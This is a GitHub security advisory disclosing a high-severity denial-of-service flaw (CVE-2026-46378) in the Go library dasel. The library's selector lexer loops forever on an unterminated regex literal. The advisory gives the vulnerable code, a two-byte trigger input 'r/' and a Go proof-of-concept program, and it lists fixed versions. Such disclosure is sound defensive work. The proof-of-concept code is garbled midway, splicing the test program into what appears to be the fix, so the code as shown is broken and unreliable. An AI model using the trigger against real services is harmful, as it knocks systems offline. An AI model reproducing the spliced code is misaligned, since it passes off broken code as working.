GitHub Advisoryadvisory · Go

GHSA-m6xr-fvfg-5g64 Dasel: Denial of service in dasel selector lexer due to infinite loop on unterminated regex literal

HIGH Published 2026-05-19 Modified 2026-05-19 Official page ↗
Aliases
CVE-2026-46378
Ecosystem
Go
Packages
github.com/tomwright/dasel/v3
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-835
Reviewed
2026-05-19

Affected packages

• Go github.com/tomwright/dasel/v3: >= 3.0.0, < 3.10.1 → fixed in 3.10.1

Description

Summary `dasel`'s selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as `r/abc`. A 2-byte input (`r/`) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely. I confirmed the issue on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on `master` commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. I also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). No fix is available yet. Details The bug is in the `matchRegexPattern` closure within `(*Tokenizer).parseCurRune` in `selector/lexer/tokenize.go#L237-L247`: ```go matchRegexPattern := func(pos int) *Token { if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') { return nil } start := pos pos += 2 for !p.peekRuneEqual(pos, '/') { // line 243 pos++ } pos++ return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)) } ``` When no closing `/` exists, `peekRuneEqual` returns `false` when `pos >= srcLen` (because the bounds check at line 40 returns `false` for out-of-range positions). Since `!false = true`, the loop condition remains true and `pos` increments indefinitely. The function never returns. Notably, the same function already handles unterminated quoted strings by returning `UnexpectedEOFError`, but the regex pattern path does not perform a similar end-of-input check. Minimal trigger: `r/` (2 bytes) Test environment: • MacBook Air (Apple M2), macOS / Darwin `arm64` • Go `1.26.1` • dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/selector/lexer" ) func main() { fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() for _, input := range []string{"r/unterminated", "r/"} { fmt.Printf("Input: %s\n", input) done := make(chan string, 1) go func() { t := lexer.NewTokenizer(input) start := time.Now() tokens, err := t.Tokenize() elapsed := time.Since(start) if err != nil { done = p.srcLen { return nil, &UnexpectedEOFError{Pos: pos} } pos++ return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil } ```

Related

Alias · CVE (1)

  • CVE-2026-46378 Dasel is a command-line tool and library for querying, modifying, and transforming data structures. vulnerability

Weakness · CWE (1)

  • CWE-835 Loop with Unreachable Exit Condition weakness

References